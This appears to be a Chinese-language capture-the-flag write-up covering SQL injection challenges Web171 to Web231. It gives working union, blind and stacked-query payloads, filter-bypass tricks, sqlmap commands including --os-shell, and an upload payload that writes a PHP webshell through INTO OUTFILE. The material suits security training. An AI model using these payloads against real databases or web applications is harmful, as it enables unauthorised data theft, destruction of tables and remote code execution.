Web171(万能密码)
本地给的提示如图,普通的查询语句,这里的知识点是and和or的优先级
如:select * from product where name=’jack’ and age=18 or id =1
这句话的意思是,名字叫jack且年龄为18的人或者id为1的人,and的优先级比or高
所以我们的payload:1’ or 1=1–
这里要闭合引号,题中有一个双引号一个单引号,我们照葫芦画瓢
payload2:9999’ or id=’26
这个就不用注释了,直接手动闭合单引号
Web172(联合查询)
[模块一]
这边我们首先尝试用上一把的payload试试:
很好,不给我们继续爽了,那我们就直接开始爆库,使用联合查询,具体流程如下:
我们的1,2,3已经成功传入进去了,我们接下来继续payload:1’ union select table_name,2,3 from information_schema.tables where table_schema=database()–
我们已经把表名暴露出来了,=ctfshow_user就是一开始的假flag,接下来爆字段名称,payload:1’ union select column_name,2,3 from information_schema.columns where table_name=’ctfshow_user2’–
成功了,我们就继续深入,直接读取password,username,id。payload:1’ union select id,password,username from ctfshow_user2–
喜提flag!
[模块2]
模块二长着损样,多了一个返回逻辑,意思是如果用户名里有flag那么就会过滤不输出
这里先试试payload:1’ or 1=1 –
这里发现id被过滤了,简单,我们已经知道flag就在password里面,flag就是username,那我们不就不输出用户名吗?payload:1’ union select 1,2–
可以发现1,2显示在后两格,所以就最终的payload就显而易见:1’ union select 1,password from ctfshow_user2–
喜提flag!
另一个payload写法:
1’ union select 1,password from ctfshow_user2 where username=’flag
Web173(联合查询)
意思和上一题差不多,那个json不要管,我们用上一题的payload完全可以写出来,但是现在玩点子花样:
- hex():对字符串进行16进制加密
payload:1’ union select hex(username),password,3 from ctfshow_user3–
咱们给他把flag加密了,就可以出来了
payload的第二种写法:9999’ union select hex(username),password,3 from ctfshow_user3 where username=’flag
Web174(replace或盲注)
进入页面:
查询语句中ban掉了数字,也就是说如果回显结果中有数字是没有数据的
这里可以使用replace函数,将数字替换成指定的字符
- replace(“字符串”,”需要替换的字符”,”替换字符”)
payload:1’ union select ‘a’,replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(c.password,”1”,”!”),”2”,”@”),”3”,”#”),”4”,”$”),”5”,”%”),”6”,”^”),”7”,”&”),”8”,”“),”9”,”(“),”0”,”)”) from ctfshow_user4 as c where c.username=’flag’–
发现接口异常,很疑惑?我就抓了个包:
你知道什么是尿分叉吗,就是这种尿拉不完的,这里卡了我好一会儿,抓包之后才发现是有一部分没有传输进去!
来分析一下,这里截断的地方是,"3","#")
因为这里有个#号,#号在URL有特殊意义,所以没法转换过去,我们把#替换为”SEX”之后发现仍然是接口异常,再次抓包:
可以看到后面有你有部分是蓝色的,结果分析过后发现是7号位的”&”在URL也是有特殊意义的,这是传参用的,把&替换为“SEXX”,再payload:
1’ union select ‘a’,replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(c.password,”1”,”!”),”2”,”@”),”3”,”SEX”),”4”,”$”),”5”,”%”),”6”,”^”),”7”,”SEXX”),”8”,”“),”9”,”(“),”0”,”)”) from ctfshow_user4 as c where c.username=’flag’–
这次就有了回显:
ctfshow{b@cdf(@e-SEX**SEXX-$f)b-^)%-SEXdSEXf!a@$aba}
手动把我们替换的字符改回来即可
方法二:
使用二分法盲注,这里是y4tacker大佬的脚本:
1 | # @Author:Y4tacker |
改了一点点,感觉那个limit不需要
二分法盲注的原理实际上也就是数学里的二分法,和时间盲注也很类似,就是不断地缩小范围,最后因为ASCII是整数,直接确定字母
受教了
Web175(时间盲注+写入文件)
这一题用上一题二分法的思路仍然可行,需要改一下大佬的脚本
1 | # @Author:Y4tacker |
注意URL中的and不可以改成or,如果改成or会增加判断的条数,导致时间超时:
如果上述脚本改成or,sleep(1),那么响应时间会变成24s,用了or,如果if语句成功了,就会判断24条数据,所以浪费24s!这是非常缓慢的
所以我们要改成and,这样的话脚本跑一下答案就出来了:
![Y2AONSDX5CHBT}8`}[M(@5.png](https://cdn.nlark.com/yuque/0/2022/png/32634994/1663748460429-a13469e6-35fe-4337-bb62-64ebf3aa7f8b.png#averageHue=%23968165&clientId=u5eef4552-7a00-4&from=paste&height=143&id=u8400858e&name=Y2AONSDX5CHBT%7D8%60%7D%5BM%28%405.png&originHeight=179&originWidth=593&originalType=binary&ratio=1&rotation=0&showTitle=false&size=24398&status=done&style=none&taskId=udd708d10-aab5-4b5e-8c9a-07cff1d1a84&title=&width=474.4)
受教
解法二:
- select
xxx
into outfilepc路径
:将xxx数据写入pc路径文件中
如:SELECT customer_id, firstname, surname INTO OUTFILE ‘/exportdata/customers.txt’
这里用这个将passwd写入我们的1.txt文件
payload:1’ union select 1,password from ctfshow_user5 where username=’flag’ into outfile ‘/var/html/www/1.txt’–
虽然他这里显示接口异常,但是我们访问Url+1.txt还是可以看到答案的:
Web176(万能密码,过滤开始)
确实过于简单,1' or 1=1--
直接一把嗦
Web177(空格过滤)
经过一些小测试发现是过滤了空格,空格过滤了可以用多行注释/**/
去代替
输入1'union/**/select/**/1,2,3%23
,%23是#,因为在URL中意义所以转码
有回显:
继续输入:1'/**/union/**/select/**/password,1,1/**/from/**/ctfshow_user/**/where/**/username/**/='flag'%23
直接读取flag:
受教
Web178(空格过滤)
这里除了禁用空格,还禁用了*
我们不能使用/**/去绕过空格了,但是我们还有一大堆东西啊
使用%09,%0a,%0c这些全部都可以
payload:1'%09or%091=1%23
或者
payload:1'%09union%09select%091,2,password%09from%09ctfshow_user%09where%09username='flag'%23
都可以得出答案,都可以
Web179(同上)
在上一题的基础上ban了%09
用%0c薄纱
payload:1'%0cunion%0cselect%0c1,2,password%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'%23
or:1'%0cor%0c1=1%23
Web180(同上)
在上一题基础上ban了#,但是不ban%0c
payload:1'%0cor%0c1=1--%0c
payload2:-1'or(id=26)and'1'='1
Web181(同上)
-1'or(id=26)and'1'='1
依旧白嫖
Web182(同上)
-1'or(id=26)and'1'='1
or:id=0'||(username)regexp'f
- REGEXP:
mysql中的正则表达式
Web183(无列表回显)
可以看到返回值只是所查询表的行数,用了count函数
- count:返回行数的总数
这一题可以用脚本跑正则表达式:
1 | #author:yu22x |
用到了正则表达式和括号,括号绕过空格,很好理解
string.digits+string.ascii_lowercase的含义:
就是srting模块的函数,生成所有数字,生成所有小写字母
Web184(where,引号过滤)
查询语句如上,ban掉了挺多的,其中单引号和双引号,where都不能使用了
但是注意,这一题把空格放出来了
where没了有很多能代替的
- having:和where类似,具体参考:
而且这一题的查询语句也变了,变成了count(*),他对所有数据进行总和的话就不太好去操作,所以要用到group by 具体怎么用:
接下来就是写个脚本了:
1 | #author Boogipop |
由于regexp
函数可以识别十六进制字符串,所以我们要把输入的字符串转化为十六进制,再放进去,这样就可以绕过引号了,where就用having去替代
答案就出来了
方法好像很多,方法二:
- Right join,left join,inner join:
这三个函数也是可以替代where的,以这三个函数为思路去写个脚本2:
1 | # @Author:Y4tacker |
Web185(数字过滤)
在上一题的基础上他娘的过滤了数字
无措时看到个图:
意思应该挺好懂
- pi():返回π=3.14
- floor(X): 该函数返回X的最大整数值,但不能大于X
- ceil(): 该函数返回的最小整数值,但不能小于X。
- true=1不用说了
在此基础上改改上一题的脚本就OK了~
改脚本一很难,笔记十六进制字符,改改脚本二
1 | import requests |
结束~
Web186(同上)
用上面的脚本跑
Web187(md5(‘’,true)绕过)
确实是没什么过滤,而且注入点也很容易看到,那就是password,但是password经过了md5(‘’,true)处理过了
- md5():
测试一下就知道了:
1 |
|
输出结果是一堆乱码,所以怎么找到经过这个函数处理后结果为’ or 1这样的字符串,在网上搜到了两个:ffifdyop
:
带有’or’6这样就够了129581926211651571912466741651878684928
带有’or’8也可以满足
输入以上任意两个就可以得到flag:
参考:
Web188(弱类型比较)
由于用户名和密码肯定字符串,字符串在弱类型比较中就等于0
所以payload1:
username=0,password=0
或者username=1<1,password=0
payload2:
没有ban掉||
username=1||1,password=0
Web189(load_file+盲注)
前置知识:
load_file():
mysql函数,和php的file_get_contents作用一样,得到文件的内容,返回字符串locate()
:MySQL中的LOCATE()函数用于查找字符串中子字符串的位置。 它将返回字符串中子字符串首次出现的位置。 如果字符串中不存在子字符串,则它将返回0。 在字符串中搜索子字符串的位置时,它不会执行区分大小写的搜索
这样就好说了,这一题用上一题的payload会发现可以得到提示,密码错误,说明username是没有错的,用0就可以绕过,密码换了,无法用0去绕过了
这样子就只可以用BOOLEAN盲注,写个脚本
1 | # Author:Y4tacker |
用load_file和locate首先定位flag出现在哪儿,再去盲注读取
还可以改一下脚本:
1 | # Author:Y4tacker |
这样可以直接把index.php读出来:
1 | /* |
结束~
Web190(布尔盲注)
这里输入username=0,password=0会提示没有该用户,原因是什么?
注意’{$username}’这次加了,做个简单测试:
0和‘0’的意义是不一样的!
后来经过测试,发现username=admin时提示,密码错误,也就是说有这个用户名,以此为根据写个脚本(自己第一次写脚本QWQ)
1 | #author:Boogipop |
简简单单的二分法,经过测试,二分法的速度比一般的盲注快一万倍
接下来的流程就是,爆表》》爆列》》爆字段
这里注意他妈的是f1ag不是flag!!!!!
![P[[3%8_OB~9]65X~[Q14OC.png](https://cdn.nlark.com/yuque/0/2022/png/32634994/1663923340476-0b978fe4-8821-4426-aecb-903dad0465a8.png#averageHue=%232d2d2c&clientId=udddb62e8-82cd-4&from=paste&height=133&id=u98a1e2f3&name=P%5B%5B3%258%60_OB~9%5D65X~%5BQ14OC.png&originHeight=166&originWidth=501&originalType=binary&ratio=1&rotation=0&showTitle=false&size=12074&status=done&style=none&taskId=u7e8b144a-4037-482e-81dd-5155c19c244&title=&width=400.8)![WG0991PVK4R
GM`{CE2X8WI.png](https://cdn.nlark.com/yuque/0/2022/png/32634994/1663923342733-2934b5a2-8b86-4534-bf73-3bb7f24e9dd6.png#averageHue=%232d2c2c&clientId=udddb62e8-82cd-4&from=paste&height=130&id=u8b4a1b20&name=WG0991PVK4R%60GM%60%7BCE2X8WI.png&originHeight=162&originWidth=384&originalType=binary&ratio=1&rotation=0&showTitle=false&size=9018&status=done&style=none&taskId=u558b1cf0-b283-4929-9b73-87d67e350b8&title=&width=307.2)
Web191(布尔盲注)
过滤了ascii函数
1 | #author:Boogipop |
这是我写的脚本,可是我似乎忽略了这一题还是可以用二分法的。。
- ord():类似于ascii用于取得字符串最左边一个字符的ascii码:
二分法脚本:
1 | import requests |
二分法的脚本往往是最快的,因为判断的东西很简单,会快特别多
Web192(同上)
用上面的脚本1可以跑出来,ban了ord的话
或者
用
1 | # @Author:Y4tacker |
Web193(继续过滤)
这次把substr和ascii,ord给ban掉了,没办法了吗?
不存在的!用left函数
- left:
利用这个函数写个脚本
1 | #author:boogipop |
还有就是虽然也可以试着用locate函数,但是这个没有顺序截取的,他只是判断是否有字符串存在,所以这个只是个比较巧的题,也可以用locate得出答案,但这是纯运气问题
Web194(继续过滤)
一如既往老兄
多ban了left和right,真的就是作对啊,咱们用regexp和locate
locate这边可能有时候就会有点运气成分,所以locate用来读表和列
regexp用来精确读取flag
1 | import requests |
或者跑二分法脚本,我怎么没想到啊?
‘a’>’c’这也是用ascii码比较的,所以ascii就多此一举了好吗沃日
- mid:和substr作用一样
1 | import requests |
Web195(堆叠注入开始)
由于是第一题,我将详细写一遍
注意这里,查询语句中的username已经没有引号包裹了,取而代之的是在结尾加了个分号,这时候考虑堆叠注入
什么是堆叠注入,就是执行多条sql语句:
题目中ban掉了',",and,select,union
这基本说明不能用sql注入已经盖棺定论了
但是唯独没有ban分号;
这时候可以使用堆叠注入
payloadusername=1;update(ctshow_user)set
pass=1
password=1
用堆叠注入去改密码,然后登入即可
- update:
更改数据的sql语句:
这里虽然不能用空格,但是能用以下两种格式去绕过:update(ctshow_user)set
pass=1
update
ctfshow_userset
pass=1
不能2个都用括号包裹,会报错,已经测试
- 反引号在sql中的意义:
就是区别特殊字符串的用法,相当于python中单引号括起来的就强调这是字符串
最后直接输入username=0,password=1
为什么输入username=admin不行呢?因为查询语句中username没有被引号包裹起来,单纯输入admin进去是不会被识别成字符串的,所以用0来代替,具体原因在上面讲过
除此之外,还可以输入16进制字符串:username=0x61646d696e
也就是admin的十六进制形式:
mysql可以识别十六进制字符串,再转化为字符串:
Web196(常规)
嘴巴上说了ban了select,实际上还是可以用
payload:username=1;select(1)
,password=1
这里为什么密码是1呢,仔细看判断语句,是$row[0]==$password
,只要查询结果的第一行等于我们输入的password即可,堆叠注入后后面一个语句会成为查询结果取而代之就是1了
Web197(alter,drop,create)
解法挺多的
这次是真ban了select,我们就用alter把pass和id的名字互换,然后通过爆破得到结果
- alter:
payload:0;alter table ctfshow_user change pass k1he varchar(255); alter table ctfshow_user change id pass varchar(255)
这里一定要指定类型啊,这是必要参数
然后burpsuite抓包,爆破:
用户名是admin 的十六进制字符串,开始爆破:
Payload2:
通过删除数据库,再新建数据库来达到目的1;drop table ctfshow_user;create table ctfshow_user(username varchar(255),pass varchar(255));insert ctfshow_user(username,pass) value(1,2)
这里insert插入数据也可以这么写,一般是insert table into values,也可以像上面一样的写
之后直接用户名输入1,密码输入2
Web198(alter)
用上述payload1即可
Web199(常规,数据类型)
ban了括号,没了括号就不能指定类型varchar了,varchar(长度),要这样子使用
payload:1;show tables
- show tables:显示当前数据库所有表
然后由于第一行就是ctfshow_user
password直接输入ctfshow_user即可,和web196有些许类似
payload2:0;alter table ctfshow_user change pass k1he text;alter table ctfshow_user change id pass int
我为什么没想到还有text数据类型,然后id改为int即可
之后username=admin的十六进制,爆破password即可
Web200(堆叠结束)
上述2个方法均可
Web201(sqlmap开始)
前端已经显示不出东西了,这时候得用sqlmap去试试python sqlmap.py -u "[http://d9e69483-f882-4f05-abfa-70db01f64a3d.challenge.ctf.show/api/?id=1"](http://d9e69483-f882-4f05-abfa-70db01f64a3d.challenge.ctf.show/api/?id=1") --user-agent=sqlmap --referer=ctf.show --dbs
这一条指令可以指定useragent和referer的值,来达到绕过,–dbs表示爆出数据库,经过在/api界面的测试,useragent和referer都有判断,referer要包含ctf.show,然后user-agent要有sqlmap
“不用sqlmap是没有灵魂的”
数据库出来了啊,然后我们就查询库里的表:python sqlmap.py -u "[http://d9e69483-f882-4f05-abfa-70db01f64a3d.challenge.ctf.show/api/?id=1"](http://d9e69483-f882-4f05-abfa-70db01f64a3d.challenge.ctf.show/api/?id=1") --user-agent=sqlmap --referer=ctf.show -D "ctfshow_web" --tables
最后暴字段:python sqlmap.py -u "[http://d9e69483-f882-4f05-abfa-70db01f64a3d.challenge.ctf.show/api/?id=1"](http://d9e69483-f882-4f05-abfa-70db01f64a3d.challenge.ctf.show/api/?id=1") --user-agent=sqlmap --referer=ctf.show -D "ctfshow_web" -T "ctfshow_user" --columns
最后得到数据:python sqlmap.py -u "[http://d9e69483-f882-4f05-abfa-70db01f64a3d.challenge.ctf.show/api/?id=1"](http://d9e69483-f882-4f05-abfa-70db01f64a3d.challenge.ctf.show/api/?id=1") --user-agent=sqlmap --referer=ctf.show -D "ctfshow_web" -T "ctfshow_user" --dump
这是爆出当前表所有字段的数据,假如想爆出指定的话那就-D "ctfshow_web" -T "ctfshow_user" -C "字段" --dump
Web202(–data改请求方式)
不管你输入什么他都是返回你所有的数据,然后抓包:
改了一下请求方式,并且改了ua和referer发现出现了不同的结果
salmap上号:python sqlmap.py -u [http://e1faa3a4-5f2e-4751-8f15-98be4258af9f.challenge.ctf.show/api/](http://e1faa3a4-5f2e-4751-8f15-98be4258af9f.challenge.ctf.show/api/) --data "id=1" --user-agent=sqlmap --referer=ctf.show --dbs
-- data
:以post方式去传递参数
next:python sqlmap.py -u [http://e1faa3a4-5f2e-4751-8f15-98be4258af9f.challenge.ctf.show/api/](http://e1faa3a4-5f2e-4751-8f15-98be4258af9f.challenge.ctf.show/api/) --data "id=1" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web --tables
之后就爆库就行:
Web203(–method)
本题需要用–method去修改请求模式,经过测试需要PUT提交python .\sqlmap.py [http://8f90510a-3286-4a8f-80da-467a621a5d71.challenge.ctf.show/api/index.php](http://8f90510a-3286-4a8f-80da-467a621a5d71.challenge.ctf.show/api/index.php) --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=PUT --headers="Content-Type:text/plain"
用put方式提交的话,要用”Content-Type:text/plain”,否则put接受不到提交的表单
最后就是一步步的嗦
Web204(–cookie)
python .\sqlmap.py [http://13d42cff-f75e-4d63-82b6-e071e956dfce.challenge.ctf.show/api/index.php](http://13d42cff-f75e-4d63-82b6-e071e956dfce.challenge.ctf.show/api/index.php) --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=PUT --headers="Content-Type:text/plain" --cookie="PHPSESSID=8ob7ousv6ls8c04t166amj23ou;ctfshow=2d06e5c71814a2377eaf967b222971fd" -D ctfshow_web --dump
就多追加了一个cookie
Web205(鉴权)
通过抓包分析发现:
访问/api之前会访问/api/gettoken.php这一网址,说明存在鉴权
sqlmap: python .\sqlmap.py [http://e8ca2bfa-09e7-4477-ba64-f6fc01a336f1.challenge.ctf.show/api/index.php](http://e8ca2bfa-09e7-4477-ba64-f6fc01a336f1.challenge.ctf.show/api/index.php) --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=PUT --headers="Content-Type:text/plain" --safe-url="[http://e8ca2bfa-09e7-4477-ba64-f6fc01a336f1.challenge.ctf.show/api/getToken.php"](http://e8ca2bfa-09e7-4477-ba64-f6fc01a336f1.challenge.ctf.show/api/getToken.php") --safe-freq=1
–safe-url:意思是访问目标网址前需要访问的地址,–safe-freq是每两次间访问gettoken的次数,设置为一次就够了,随后就直接dump就够了
Web206(闭合)
说是考查闭合,可是sqlmap会自己识别闭合呀
python .\sqlmap.py -u [http://14446647-1d47-4f41-92da-b93789ccad33.challenge.ctf.show/api/index.php](http://14446647-1d47-4f41-92da-b93789ccad33.challenge.ctf.show/api/index.php) --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=PUT --headers="Content-Type:text/plain" --safe-url="[http://14446647-1d47-4f41-92da-b93789ccad33.challenge.ctf.show/api/getToken.php"](http://14446647-1d47-4f41-92da-b93789ccad33.challenge.ctf.show/api/getToken.php") --safe-freq=1
这里也可以手动闭合
–suffix:指定payload后面加的后缀
suffix可以添加多个--suffix="')#"
Web207(tamper绕过空格)
在上一题的基础上增加了对空格的过滤 python .\sqlmap.py -u [http://c0c1dcf0-a8bb-4798-bafb-194bda564bfe.challenge.ctf.show/api/index.php](http://c0c1dcf0-a8bb-4798-bafb-194bda564bfe.challenge.ctf.show/api/index.php) --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=PUT --headers="Content-Type:text/plain" --safe-url="[http://c0c1dcf0-a8bb-4798-bafb-194bda564bfe.challenge.ctf.show/api/getToken.php"](http://c0c1dcf0-a8bb-4798-bafb-194bda564bfe.challenge.ctf.show/api/getToken.php") --safe-freq=1 --tamper=space2comment
用–tamper参数去绕过
space2comment是一种模式,表示空格被ban
Web208(双写)
空格和select都被ban了,但是select可以双写绕过
我们要自己写个tamper脚本,其实不难,就是在原来的脚本改动一下
1 | #author:BOOGIPOP |
python .\sqlmap.py -u [http://9ba976d8-a8a7-4771-a55f-c4f8966ced50.challenge.ctf.show/api/index.php](http://9ba976d8-a8a7-4771-a55f-c4f8966ced50.challenge.ctf.show/api/index.php) --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=PUT --headers="Content-Type:text/plain" --safe-url="[http://9ba976d8-a8a7-4771-a55f-c4f8966ced50.challenge.ctf.show/api/getToken.php"](http://9ba976d8-a8a7-4771-a55f-c4f8966ced50.challenge.ctf.show/api/getToken.php") --safe-freq=1 --tamper=space2comment,doubleselect
这样就行了
Web209(like和空格2)
=被过滤了,用like
*和空格被过滤了,说明/**/行不通了,要改一下脚本
1 | from lib.core.compat import xrange |
sqlmap输入:python .\sqlmap.py -u [http://280f2963-ea32-4c32-be43-e19fea38256c.challenge.ctf.show/api/index.php](http://280f2963-ea32-4c32-be43-e19fea38256c.challenge.ctf.show/api/index.php) --user-agent=sqlmap --referer=ctf.show --safe-url=[http://280f2963-ea32-4c32-be43-e19fea38256c.challenge.ctf.show/api/getToken.php](http://280f2963-ea32-4c32-be43-e19fea38256c.challenge.ctf.show/api/getToken.php) --tamper=space2tab,equaltolike --safe-freq 1 --method=PUT --headers="Content-Type:text/plain" --data "id=1"
然后慢慢dump库就好了
Web210(base64+reverse)
编写tamper:
1 |
|
SQLMAP:python .\sqlmap.py -u [http://953455a0-5d6d-4981-9aa2-bf110b51774c.challenge.ctf.show/api/index.php](http://953455a0-5d6d-4981-9aa2-bf110b51774c.challenge.ctf.show/api/index.php) --user-agent=sqlmap --referer=ctf.show --safe-url=[http://953455a0-5d6d-4981-9aa2-bf110b51774c.challenge.ctf.show/api/getToken.php](http://953455a0-5d6d-4981-9aa2-bf110b51774c.challenge.ctf.show/api/getToken.php) --tamper=REVERSEANDBASE64 --safe-freq 1 --method=PUT --headers="Content-Type:text/plain" --data "id=1"
Web211(同上)
多ban了空格,那就改一下脚本:
1 | from lib.core.compat import xrange |
python .\sqlmap.py -u [http://75b998c7-4101-43cc-85f3-edf6b7882b2e.challenge.ctf.show/api/index.php](http://75b998c7-4101-43cc-85f3-edf6b7882b2e.challenge.ctf.show/) --user-agent=sqlmap --referer=ctf.show --safe-url=[http://75b998c7-4101-43cc-85f3-edf6b7882b2e.challenge.ctf.show/api/getToken.php](http://75b998c7-4101-43cc-85f3-edf6b7882b2e.challenge.ctf.show/) --tamper=REVERSEANDBASE64 --safe-freq 1 --method=PUT --headers="Content-Type:text/plain" --data "id=1"
Web212(同上)
一样的python .\sqlmap.py -u [http://9f69ecae-868f-4a32-85ac-e53f2593c660.challenge.ctf.show/api/index.php](http://9f69ecae-868f-4a32-85ac-e53f2593c660.challenge.ctf.show/) --user-agent=sqlmap --referer=ctf.show --safe-url=[http://9f69ecae-868f-4a32-85ac-e53f2593c660.challenge.ctf.show/api/getToken.php](http://9f69ecae-868f-4a32-85ac-e53f2593c660.challenge.ctf.show/) --tamper=REVERSEANDBASE64 --safe-freq 1 --method=PUT --headers="Content-Type:text/plain" --data "id=1"
Web213(–os-shell,结束)
让我们体验体验–os-shell,一键获取shell权限
SQLMAP: python .\sqlmap.py -u [http://f886da03-8117-438d-be7f-a51c91231c7e.challenge.ctf.show/api/index.php](http://f886da03-8117-438d-be7f-a51c91231c7e.challenge.ctf.show/) --user-agent=sqlmap --referer=ctf.show --safe-url=[http://f886da03-8117-438d-be7f-a51c91231c7e.challenge.ctf.show/api/getToken.php](http://f886da03-8117-438d-be7f-a51c91231c7e.challenge.ctf.show/) --tamper=REVERSEANDBASE64 --safe-freq 1 --method=PUT --headers="Content-Type:text/plain" --data "id=1" --os-shell
Web214(时间盲注开始)
在主页(最开始的主页)抓包可以发现:
ip是可注入点,我们写个时间盲注脚本:
1 | #@author:Boogipop |
或者也可以用sqlmap嗦一嗦:python .\sqlmap.py -u [http://7a58ecfc-246e-4ef7-9fef-1e686149a259.challenge.ctf.show/api/index.php](http://7a58ecfc-246e-4ef7-9fef-1e686149a259.challenge.ctf.show/api/index.php) --data "ip=1&debug=1" --referer=[http://7a58ecfc-246e-4ef7-9fef-1e686149a259.challenge.ctf.show/index.php](http://7a58ecfc-246e-4ef7-9fef-1e686149a259.challenge.ctf.show/index.php) --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" --dbs
Web215(同上)
1 | import requests |
也可以用sqlmap,但是貌似会非常慢
Web216(闭合)
这一题前面有个from_base64,这是mysql的base64加密语句
要想办法闭合这个,抓包测试一下:
如上payload发现成功延时,MQ==就是1
1 | import requests |
我猜sqlmap貌似不太行?
Web217(sleep过滤)
过滤了sleep,但是我们不仅仅只有这个函数:
在这里我选择benchmark(t,exp):
上脚本:
1 | import requests |
由于时间不确定,需要进行调试
Web218(同上)
ban了benchmark
用笛卡尔积去延时,但是这个需要慢慢调试
A,B,C表示别名用于区分,可以是同一张表
1 | dirty="(SELECT count(*) FROM information_schema.columns A,information_schema.tables B,information_schema.schemata C)"#测试 |
Web219(同上)
脚本调试一下就可以了
1 | dirty="(SELECT count(*) FROM information_schema.columns A,information_schema.tables B,information_schema.schemata C,information_schema.schemata D)"#测试 |
Web220(时间盲注结束)
ban了很多啊,mid,substr,ascii,ord没了
用left:
1 | url='http://d3dd4bc2-b8aa-4a8f-ab79-5ca6e38feba6.challenge.ctf.show/api/' |
Web221(报错+优化查询)
查询语句中username没掉了,只留下limit和page,limit后面能跟的基本上只有 procedure analyse()
- procedure analyse():
procedure analyse()中有2个参数,在任意一个参数中使用报错注入即可:[http://76d09576-b75d-4547-94bc-33fe3a540e8a.challenge.ctf.show/api/?page=2&limit=1](http://76d09576-b75d-4547-94bc-33fe3a540e8a.challenge.ctf.show/api/?page=2&limit=1) procedure analyse(1,extractvalue(rand(),concat(0x7e,database())))
- 关于报错注入的原理:
因为是拿到数据库名字就算赢,所以数据库名字就算payload
ctfshow_web_flag_x
Web222(group盲注)
抓包分析:
这样子可以成功延时
写脚本:
1 | url='http://cc42cb4a-676c-4c30-a254-be3eb0350f5a.challenge.ctf.show/api/' |
结束
Web223(布尔盲注)
ban掉了数字,我们需要改一下脚本,现在sleep函数就不太好用了,先分析一下
如果为真,返回username,结果如上,如果为假,返回true,结果如下:
所以里面的“passwordAUTO”可以作为判断点:
1 | url='http://1b9e5e11-fe7b-406a-bcf6-591deca928fb.challenge.ctf.show/api/' |
稍微改了一下脚本,这里有一个关于groupby报错注入的知识点:
Web224(finfo文件注入)
没想到的是页面居然是一个登入界面,访问robots.txt:
访问/pwdreset.php:
是把admin管理员账号重置密码的地方,重置后登入:
来到了一个文件上传的地方,到这里我也很疑惑,在这儿,你会发现你上传什么图片文件都无法上传成功,不是文件过大就是返回类型错误,然后我随便上传了一个别的类型的文件:
发现已经成功上传,并且名字也被重新命名了,这里一共有两个值filename和filetype其中filetype是不会被重写的
猜测这里存在注入点,使用了finfo函数去读取文件:
- finfo类:finfo是一个类,里面有方法open,file
- finfo_open:也就是finfo::open的别名,这个函数的作用是打开一个文件,通常和finfo::file(finfo_file)在一起使用,
- finfo_file:返回一个文件的信息https://www.php.net/manual/zh/function.finfo-file.php
大致用法如下:
1 |
|
可以看到上下两个语句的效果是等效的,finfo_open必须和finfo_file一起使用,或者用(new finfo)的方法去访问,new finfo实际上作用等效于finfo_open,看得到返回的内容是文件的一系列信息
利用这一点构造一个payload文件:(记事本打开)
1 | C64File "');select 0x3c3f3d60245f4745545b315d603f3e into outfile '/var/www/html/1.php';--+ 沁s寂dA?q?y黃抾|{9l惒1%╓m鯧幆v9?3#;mv诬磇S鏛5Dv镓Qj堜匒C?煕?乼ニo妻鷷?7n积寒遝e跞HO疜鸹M=鳁^鴀亍o钏fH?5fmUe羰獞Q<黁dS溄$??喙瑙枴溓?{3Uo堊%?k?t饜〖.鲽|a?s?齁韱y;啑鼞?)yχ0]釵C燁L??H歩P?;F!?O??*_铧J漅 Q4IQ糅酰仩Q澮Q4刷X秞燘硢枹竐蕱4猄!?Y_癵G€ |
可以看到文件被插入了一个脏语句,0x3c3f3d60245f4745545b315d603f3e
是=`$_GET[1]`?>的十六进制字符串,本地读取一下看看是什么样子的:
看的到脏字符已经插入了,网站源代码的插叙语句很可能是
1 | $filetype = (new finfo)->file($_FILES['file']['tmp_name']); |
所以上传payload.bin文件,之后访问1.php你就会发现可以RCE了:
之后一步步读flag即可
TIPS:把upload.php拷贝了下来:
1 |
|
可以看到此处存在注入点,和上面分析是一样的
Web225(堆叠进阶)
在搜索栏内不管你搜什么都是没有结果的,抓包:
在这里输入上面的payload后:
得到了表名ctfshow_flagasa
,之后再读取一下列名,用1';show columns from ctfshow_flagasa;#(url编码)
:
得到了flag的字段名flagas
,接下来有两种解法:
解法一:
使用预处理去解决:
payload:username=1';PREPARE boogipop from concat('s','elect', ' database()');EXECUTE boogipop#;
或者是username=1';PREPARE boogipop from concat(char(115,101,108,101,99,116),' database()');EXECUTE boogipop;#
之后一步步的去改指令爆库爆字段即可
解法二:
使用Handler指令:@
payload:
先用show tables和show columns得出字段,再:username=1';handler ctfshow_flagasa open;handler ctfshow_flagasa read first;
Web226(十六进制+预处理)
把括号ban了,show也没了,那show tables是用不了了,这里有个比较骚的方法,可以用PREPARE预处理和十六进制结合:
比如PREPARE boogipop from ‘show tables’;EXECUTE boogipop;
可以把show tables
十六进制编码后再放入,这样就可以绕过了:
然后就是读字段,读到为flagasb
,然后这里有两种方法,和上面一样
- 用handler:
?username=1';handler ctfsh_ow_flagas open;handler ctfsh_ow_flagas read first;
- 继续用十六进制+PREPARE:
Web227(查看存储过程和函数)
参考文章:
information_schema 数据库中的 Routines 表中,存储了所有存储过程和函数的定义。使用 SELECT 语句查询 Routines 表中的存储过程和函数的定义时,一定要使用 ROUTNE_NAME 字段指定存储过程或函数的名称。否则,将查询出所有的存储过程或函数的定义。如果存储过程和存储函数名称相同,则需要要同时指定 ROUTINE_TYPE 字段表明查询的是哪种类型的存储程序。
ban的东西没差,你用上一题的方法也可以成功,但是你会发现,你找遍了数据库也找不到flag到底在哪儿,这里就要用到数据存储查询了
payload?username=1%27;prepare%20boogipop%20from%200x73656c656374202a2066726f6d20696e666f726d6174696f6e5f736368656d612e726f7574696e6573;execute%20boogipop;#
十六进制编码是:select * from information_schema.routines
可以看到flag
Web228-Web230
全部都是Web226的套路
Web231(update注入开始)
就给了个这个,其他啥也没给,查询框也没有,猜测传参点还是上面的/api/下,然后参数是passowrd和username
这里注入点就在password
上了:
显示更新成功
这样payload的话查询语句相当于update ctfshow_user set pass = '1',username='a'#' where username = '1'
:
后面的话被注释了,我们把所有字段的username全部改为了a,回到主页面可以发现:
用户名全都是a,然后密码都是1,接下来就有和联合注入有点类似了,注入点是password中的username
我们payload改为password=1',username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#&username=1
